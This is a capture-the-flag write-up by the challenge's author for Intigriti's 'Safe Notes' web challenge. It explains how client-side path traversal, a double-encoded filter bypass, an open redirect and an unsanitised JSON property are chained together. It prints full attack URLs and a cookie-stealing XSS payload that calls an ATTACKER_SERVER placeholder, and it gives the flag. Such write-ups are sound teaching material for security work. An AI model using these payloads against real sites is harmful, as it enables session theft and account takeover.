0824: Safe Notes
Writeup for the Intigriti August (Defcon) 2024 challenge π₯
Last updated
Writeup for the Intigriti August (Defcon) 2024 challenge π₯
Last updated
CSPT, Open Redirect, XSS, WAF
Find the FLAG and win Intigriti swag! π
I (CryptoCat) never made a monthly challenge for Intigriti before, so I figured Defcon would be a good time for my debut. My inspiration for this challenge mostly came from watching the Critical Thinking - Bug Bounty Podcast π
First, I'll walk you through the intended solution I had in mind when designing and implementing the challenge. At the end of the writeup, I'll highlight any interesting unintended solutions that may arise, and of course, I'll link all the excellent community writeups! The challenge is provided with source code but I'll highlight relevant snippets throughout, rather than presenting it all up front.
Even when source code is included, I like to explore the web application first to get an idea of its basic functionality. When we open the challenge page, we'll see SafeNotes
, a secure place to create, store, and share notes
.
Once we register an account and login, a navigation menu appears including Home
, Create Note
, View Note
, Report
, Contact
and Logout
.
When we create a note, an ID is provided so we can retrieve it in the future and share it with others.
We can view the new note at https://challenge-0824.intigriti.io/view?note=3019c334-6ad2-48b6-bd9d-b90f7f8be848
If we report the note to a moderator, we'll get a message saying the note was reported successfully.
If we try another URL, e.g. http://ATTACKER_SERVER
, we will see the following error message.
Finally, there is a contact form.
After clicking submit, we're redirected back to the homepage.
Upon downloading the source code, we find two applications; bot
and web
. Let's start by looking at the bot since that's where the flag will likely be (we could also search the project for the flag format).
I added comments throughout, so it doesn't warrant much further explanation; the bot sets a cookie containing the flag and then visits the URL we provide. So, we need to steal that cookie! πͺ
Note that there is some validation to ensure users cannot provide another domain. You'll notice a lot of validation checks across the challenge, sometimes to the point of redundancy. I'm just paranoid about unintended solutions and not particularly good at XSS myself, so I threw them in everywhere I could π I also figure it makes the code more challenging to analyse/debug, hopefully not to the point of annoyance π
Anyway, that's it for the bot
. Let's check the web
application starting with the /report
endpoint in views.py
.
See what I mean about the validation? I know how much can go wrong with URL parsing π In fact, I want it to go wrong but I want to limit where it goes wrong as much as possible. These checks ensure the user-supplied URL:
begins with http(s)://
netloc
matches the server, i.e. challenge-0824.intigriti.io
path
matches the /view
endpoint
query
contains note=
ends with a valid UUID, i.e. 12345678-abcd-1234-5678-abc123def456
Putting it all together, the user is supposed to supply a URL like https://challenge-0824.intigriti.io/view?note=12345678-abcd-1234-5678-abc123def456
They could also provide something like https://challenge-0824.intigriti.io/view?param1=cat¶m2=is¶m3=the¶m4=best¬e=12345678-abcd-1234-5678-abc123def456
Or even https://challenge-0824.intigriti.io/view?note=cryptocatisthebest&lol=12345678-abcd-1234-5678-abc123def456
However, if you try to visit the last URL, you will see an error message like Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456
. This is because there's further validation on the client side in view.html
.
You might think, "client-side? I can get around that with F12!". Sure, you can, but how will you convince the admin (bot) to do that? π
Hopefully, you are wondering about XSS. Let me then highlight some things π
When a new note is created in create.html
, the following code is executed.
Yep, our input is sanitised with [the latest] DOMPurify before being sent to the API for storage.
What happens on the backend? π€
It's sanitised again!! π This time with [the latest] bleach
Finally, the note is loaded in view.html
and what's this?!
Third time is the charm π The note content is sanitised once again with DOMPurify before finally rendering as innerHTML
.
Observant readers may have noticed that data.debug
is not passed through DOMPurify before being rendered as outerHTML
though. Interesting! π‘
However, we saw earlier that create.html
only accepts a content
parameter. Perhaps we could forge a request to the /api
with a debug
parameter? Unfortunately, we also saw the server-side code for /api/notes/store
only reads the content
parameter received in POST requests π
Anyway, back to view.html
. Digging through the JS, there is an API call to fetch note content, similar to how notes are stored. Both of these API endpoints are protected against CSRF.
Notice the note ID is being checked for ../
? After all, it is user-controllable input that will later be used as a parameter in an API call π That brings us to the first vulnerability.
I mentioned in the introduction my inspiration for the challenge came from watching the Critical Thinking - Bug Bounty Podcast but of course, inspiration is not enough; I needed to do some further research. I read a lot of bug bounty reports and blog posts about CSPT:
Fetch diversion (acut3) (also covered in DayZero podcast)
I highly recommend reading through them; they discuss some super cool bugs! Let me know if I've missed any good resources π Anyway, a quick summary from Doyensec:
Every security researcher should know what a path traversal is. This vulnerability gives an attacker the ability to use a payload like
../../../../
to read data outside the intended directory. Unlike server-side path traversal attacks, which read files from the server, client-side path traversal attacks focus on exploiting this weakness in order to make requests to unintended API endpoints.
Before verifying the CSPT vulnerability and searching for interesting endpoints, we must bypass the WAF.
Can you call this a WAF? π€
Well, it's good clickbait and SEO, so I'm doing it!
The filter is primitive; it only checks for the string ../
, so we can try and URL encode it to %2E%2E%2F
, e.g. https://challenge-0824.intigriti.io/view?note=%2E%2E%2F4d31db30-ce76-405e-89b3-45d1067ddacc
Actually, this fails since modern browsers will perform a layer of URL decoding when we use the address bar. Luckily, we can just URL encode it twice to %252E%252E%252F
, e.g. https://challenge-0824.intigriti.io/view?note=%252E%252E%252F4d31db30-ce76-405e-89b3-45d1067ddacc
Since the noteId
is URI decoded before the API call (but after the validation), it should be valid.
Indeed, we see an API call to /api/notes/4d31db30-ce76-405e-89b3-45d1067ddacc
instead of the intended /api/notes/fetch/4d31db30-ce76-405e-89b3-45d1067ddacc
Let's try and go back to the /home
endpoint (../../../
) with https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome/4d31db30-ce76-405e-89b3-45d1067ddacc
It works, but we get 404: not found
because /home/4d31db30-ce76-405e-89b3-45d1067ddacc
is [obviously] not a valid path.
However, we can't remove the UUID from the end of the URL due to the various validation checks outlined earlier.
There are many different techniques to bypass URL format validation checks, but I went with this one; add a second GET parameter to the end of the URL containing a valid UUID, e.g. https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome?lol=4d31db30-ce76-405e-89b3-45d1067ddacc
We get a 200 OK
, and the response shows the challenge homepage! Note that this doesn't display in the browser, and if we check the console output, we will see why.
It's because view.html
expects a JSON object containing a key named content
.
We can return to this later after we've traversed the application's endpoints for useful functionality that might help us construct an attack.
Maybe somebody will find some cool unintended that I didn't anticipate but from my testing of the various endpoints for CSPT:
/home
- The first one we tested; I can't think what possible use there could be of diverting the admin to the homepage π
/create
- Similarly, we get a 200 OK on the API call, but to what end?
/api/notes/store
- We can traverse back 1 directory to /store
but get a 405: method not allowed
. This is one of the unfortunate aspects of CSPT; we can't control the HTTP method. Notes are stored via POST and viewed via GET.
/view
- We can already make the admin access this endpoint, that's the intended functionality of the report feature. I can't think of any usefulness.
/report
- Again, the GET request will simply fetch the page contents without rendering as it expects JSON. Even if we had a POST CSPT, it wouldn't help unless we wanted to create a weird reporting loop or something π€
/logout
- We could force the user to log out π Yeh, not helpful..
I purposefully left out the second-to-last endpoint on the navigation menu, /contact
. I also avoided analysing it in detail during the initial recon phase; let's do that now.
Here's the /contact
route from views.py
.
I've added some comments to illustrate the functionality. If the user provides a return_url
which passes the following check:
They will be redirected to that location, AKA Open Redirect. I added the http(s)
check to ensure players couldn't use javascript:
or file:
or some crazy protocols I don't know about.
You don't need source code or any fuzzing to identify this vulnerability. All you need to do is submit the contact form, and you will see the redirect in the HTTP history; contact?return=/home
Send it to the burp repeater, change the request method to GET, and change the return
parameter to some other value, e.g., /logout
, and you will see what happens! Here's an example: https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout?lol=4d31db30-ce76-405e-89b3-45d1067ddacc
This means we can send the following URL to the admin bot to log them out; https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout?lol=4d31db30-ce76-405e-89b3-45d1067ddacc
If you tried another variation (using &lol
instead of ?lol
)
https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout&lol=4d31db30-ce76-405e-89b3-45d1067ddacc
You would notice it fails.
It's because the note
parameter is validated to ensure it ends with a valid UUID. One way around this would be to URL-encode the &
(it will be URL-decoded after the validation anyway).
https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=/logout%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc
If we change the ?
after contact
to an &
, we'll see the same error. However, URL-encoding the &
does not work this time.
https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact%26return=/logout%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc
That's because the request to log out ends up looking like /contact&return=/logout&lol=4d31db30-ce76-405e-89b3-45d1067ddacc
Clearly invalid; the first query key needs to preceded by a ?
The only restriction on the return
URL is that it must use the http(s)
protocol. Let's try to spin up a server, e.g. ngrok, requestbin, webhook etc.
We visit the following URL, we should see an entry in our server logs.
https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=https://ATTACKER_SERVER/%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc
We get a hit, but it's a 501: message Unsupported method ('OPTIONS')
. Let's check ChatGPT π§
The error message you're encountering indicates that the server does not support the
OPTIONS
HTTP method. This is often related to Cross-Origin Resource Sharing (CORS) preflight requests, which are automatically sent by the browser when certain conditions are met, such as:
Using HTTP methods other than GET, HEAD, or POST.
Using custom headers.
Sending any data in the request body other than simple text.
As far as I can tell, the only condition that applies is (2)
since the X-CSRFToken
header is included in the fetch request.
One possible workaround is to provide a no-cors
option as a parameter in the fetch call. However, we'll have no control over this code when delivering our malicious link to the admin.
Instead, let's handle the OPTIONS request on the attacker server. We can easily create a basic Flask application to manage this.
We must find a way around the JSON format error, so let's add a simple index.json
file.
We visit the same URL and this time, the OPTIONS request is followed up with a GET (200 OK
).
Checking the browser confirms that the content
from our index.json
file has been successfully injected into the page!
All that remains is to develop an XSS payload that steals the admin's cookie. What if we try a classic one? You can enter document.cookie = "test"
in your browser console for testing purposes.
We get the broken image but nothing in the HTTP logs. Checking the source shows why; the script was stripped from the input.
It's because we only bypassed 2/3 sanitisation steps: β
DOMPurify in create.html
β
Bleach in /api/notes/store
β DOMPurify in view.html
That's right; our content
parameter is sanitised.
Remember that other debug
parameter?
We never had a way to inject this content because /api/notes/store
only saved the note.content
to the database. Now, we can inject any property we choose into the JSON object!
We get the cookie!
All that's left is to send the final URL to the admin.
https://challenge-0824.intigriti.io/view?note=%252E%252E%252F%252E%252E%252F%252E%252E%252Fcontact?return=https://ATTACKER_SERVER%26lol=4d31db30-ce76-405e-89b3-45d1067ddacc
The note is reported successfully, and we receive the flag π©
Flag: INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}
Here's a quick summary of the challenge design / intended solution π
Note taking/sharing application that allows users to report notes to a moderator
Users can register/login and find options to create/view/report notes, as well as "contact"
Players will review the challenge source code and find the admin/moderator sets the flag in a cookie before visiting our "reported note"
The reported note URL must be in the format http://CHALLENGE_URL/view?note=12345678-abcd-1234-5678-abc123efg456
Specifically, it must begin with http://CHALLENGE_URL/view?note=
and end with a valid UUID, e.g. 12345678-abcd-1234-5678-abc123efg456
Players will likely attempt XSS payloads on the /create
, but the input is processed with the latest DOMPurify (it's subsequently sanitized with Bleach on the server-side too)
Furthermore, if players review the /view
endpoint, they will find DOMPurify sanitizes the note content before rendering
They should also notice the CSRF-protected API endpoint to fetch (and store) notes
It looks for a valid UUID (but only at the end of the string, like /report
)
It checks if the note ID includes ../
(hint at CSPT)
There's a data.debug
variable that doesn't get sanitized by DOMPurify (hint at XSS)
Basically, the note ID is passed from a user-controllable parameter (GET) to the API. The ../
check can be bypassed with double-URL encoding (it will be normalized before the API call)
So, which endpoint to traverse to? Players who tested the /contact
endpoint will have discovered an open redirect, e.g. ../../../contact?return=/home
, and this can be set to an external URL, e.g. ../../../contact?return=https://ATTACKER_SERVER
Since fetches are followed automatically, players can have their server deliver content
When the admin visits the URL, the CSPT will call the /contact
endpoint, which will redirect to the attacker server, which will respond with an XSS payload
Some barriers to overcome:
Players will get a CORS error but can resolve it by creating a CORS Flask app on their server
data.content
is sanitized - players will need to create a JSON object that has a debug
property since data.debug
is set to outerHTML
without being processed by DOMPurify
Path traversal must be double-encoded to bypass WAF, e.g. ..%252F..%252F..%252F
/report
requires the URL ends with a valid UUID, so players will need to add &lol=b00af6a0-7f48-46a1-8f54-f50c963950c3
or ?=b00af6a0-7f48-46a1-8f54-f50c963950c3
or /b00af6a0-7f48-46a1-8f54-f50c963950c3
to the end of the return
URL
However, /view
also requires the note ID to end with a valid UUID, so they will actually need to URL-encode the &
like return=http://ATTACKER_SERVER%26lol=b00af6a0-7f48-46a1-8f54-f50c963950c3
The full payload should look like https://CHALLENGE_URL/view?note=..%252F..%252F..%252Fcontact?return=https://ATTACKER_SERVER%26lol=b00af6a0-7f48-46a1-8f54-f50c963950c3
with attacker server hosting something like {"debug": "<img src=x onerror=fetch('https://ATTACKER_SERVER/?'+document.cookie)>", "status": "success"}
Player will receive the flag as a GET parameter in their web server log